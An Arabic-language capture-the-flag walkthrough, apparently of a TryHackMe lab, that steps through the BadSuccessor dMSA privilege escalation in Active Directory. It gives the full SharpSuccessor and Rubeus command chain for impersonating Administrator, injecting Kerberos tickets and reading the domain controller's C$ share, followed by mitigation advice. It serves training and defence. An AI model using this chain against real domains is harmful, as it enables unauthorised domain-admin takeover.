Active-Directory-BadSuccessor

نظرة عامة

في هذه الغرفة، نستكشف تقنية تصعيد الامتيازات BadSuccessor، وهي ثغرة تستغل حسابات الخدمة المُدارة المفوضة (dMSAs) في Active Directory. يسمح الهجوم للمستخدم الذي يتمتع بالتحكم الكافي في كائن dMSA بانتحال هوية حساب آخر وربما تحقيق امتيازات مسؤول المجال.

معلومات الغرفة

الغرفة: https://tryhackme.com/room/adbadsuccessor

الصعوبة: متوسطة

التاريخ: 05/06/2026

الإصدار: 1.0

الهدف: إظهار كيف يمكن إساءة استخدام حسابات الخدمة المُدارة المفوضة لتصعيد الامتيازات واختراق بيئة Active Directory.

الدور: Terry Byte (tbyte)

الغاية: تقييم أمان بيئة Active Directory المنشورة حديثًا وتحديد ما إذا كانت عرضة لهجوم BadSuccessor.

مسار الهجوم

يتكون الهجوم من مرحلتين رئيسيتين:

1. الاستطلاع.
2. تصعيد الامتيازات عبر إساءة استخدام dMSA

الاستطلاع

الخطوة 1 - الاتصال بالجهاز الهدف

• الاتصال بمحطة عمل Windows المتوفرة باستخدام RDP:

xfreerdp /v:10.211.101.20 /u:tbyte /p:P\@SSw0rd345 /dynamic-resolution

• بعد المصادقة، افتح PowerShell.

الخطوة 2 - الانتقال إلى دليل العمل

• انتقل إلى دليل إثبات المفهوم:

  root@kitploit:~

  cd C:\PoC
  

• تحقق من المحتويات: dir

الخطوة 3 - الحصول على سكربت التعداد

• قم بتنزيل سكربت PowerShell من مستودع BadSuccessor الخاص بـ Akamai:

https://github.com/akamai/BadSuccessor/blob/main/Get-BadSuccessorOUPermissions.ps1

• أنشئ السكربت أو عدّله باستخدام Notepad:

notepad Get-BadSuccessorOUPermissions.ps1

• الصق المحتويات واحفظ الملف.

الخطوة 4 - تعداد صلاحيات الوحدات التنظيمية (OU)

• نفّذ السكربت:

 .\Get-BadSuccessorOUPermissions.ps1

• يكشف الإخراج عن حسابات لديها صلاحيات يمكنها استغلال حسابات الخدمة المُدارة المفوضة.
• حدد الحساب الثالث الذي يعيده السكربت.
• سيتم استخدام هذا الحساب خلال مرحلة تصعيد الامتيازات.

الاستغلال باستخدام Windows

الخطوة 1 - إنشاء حساب dMSA ضار

• استخدم SharpSuccessor لإنشاء حساب خدمة مُدار مفوض ينتحل هوية حساب Administrator:

  root@kitploit:~

  .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
  

  

ماذا يحدث؟

• تقوم الأداة بإنشاء كائن dMSA جديد وتكوينه لخلافة حساب Administrator.
• وهذا يؤسس الأساس لتصعيد الامتيازات.

الخطوة 2 - طلب TGT من Kerberos

• استخدم Rubeus للحصول على تذكرة منح تذاكر مفوضة (TGT):

  root@kitploit:~

  .\Rubeus.exe tgtdeleg /nowrap
  

  

• يُرجع الأمر تذكرة Kerberos مشفرة بـ Base64.

• انسخ التذكرة المولّدة.

الخطوة 3 - انتحال هوية حساب dMSA

• استخدم TGT المفوضة لطلب تذكرة كحساب dMSA المنشأ حديثًا:

 .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>

النتيجة:

يتم حقن تذكرة Kerberos جديدة في الذاكرة لحساب dMSA.

الخطوة 4 - طلب تذكرة خدمة بصفة Administrator

• استفد من تذكرة dMSA للوصول إلى الخدمات التي تعمل بسياق Administrator:

  root@kitploit:~

  .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<Base64_Ticket>
  

  

النتيجة:

• يتم تحميل تذكرة خدمة CIFS في الذاكرة.
• توفر هذه التذكرة الوصول إلى الموارد التي تتطلب عادةً امتيازات مسؤول المجال.

الخطوة 5 - الوصول إلى سطح مكتب Administrator

• تحقق من الوصول المرفوع من خلال تصفح ملف تعريف Administrator على وحدة التحكم بالمجال:

 dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

• يؤكد نجاح سرد الدليل الوصول على المستوى الإداري.

الخطوة 6 - الحصول على العلم

• اقرأ العلم المخزن على سطح مكتب Administrator:

  root@kitploit:~

  Get-Content \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\flag.txt
  

  

• تم الحصول على العلم بنجاح.

لماذا يعتبر BadSuccessor مهمًا؟

يوضح BadSuccessor كيف يمكن لحسابات الخدمة المُدارة المفوضة أن تُدخل مسارات تصعيد امتيازات في بيئات Active Directory. نظرًا لأن Active Directory يعد العمود الفقري للهوية في العديد من المؤسسات، فإن الثغرات التي تؤثر على Kerberos وتفويض الحسابات قد تكون لها عواقب وخيمة.

يمكن للمهاجم الذي يمتلك صلاحيات كافية على كائن dMSA أن:

• ينتحل هوية المستخدمين المميزين
• يحصل على تذاكر Kerberos مرفوعة الامتيازات
• يصل إلى موارد حساسة
• يصعّد الامتيازات إلى مسؤول المجال
• يخترق غابة Active Directory بأكملها

توصيات التخفيف

للتخفيف من BadSuccessor (CVE-2025-53779)، يجب على المؤسسات تطبيق التحديثات الأمنية من Microsoft على الفور، وتقييد صلاحيات dMSA ومراجعتها، ومراقبة نشاط Kerberos المشبوه، وتدقيق علاقات التفويض، وتطبيق مبدأ الامتياز الأقل. يمكن للمراجعات المنتظمة لإعدادات التفويض في Active Directory المساعدة في تحديد وتقليل مسارات تصعيد الامتيازات المحتملة.

النقاط الرئيسية المستفادة

قدمت هذه الغرفة خبرة عملية قيّمة في:

• تصعيد الامتيازات في Active Directory
• حسابات الخدمة المُدارة المفوضة (dMSAs)
• إساءة استخدام مصادقة Kerberos
• عمليات التذاكر باستخدام Rubeus
• استغلال SharpSuccessor
• تقنيات التحقق بعد الاستغلال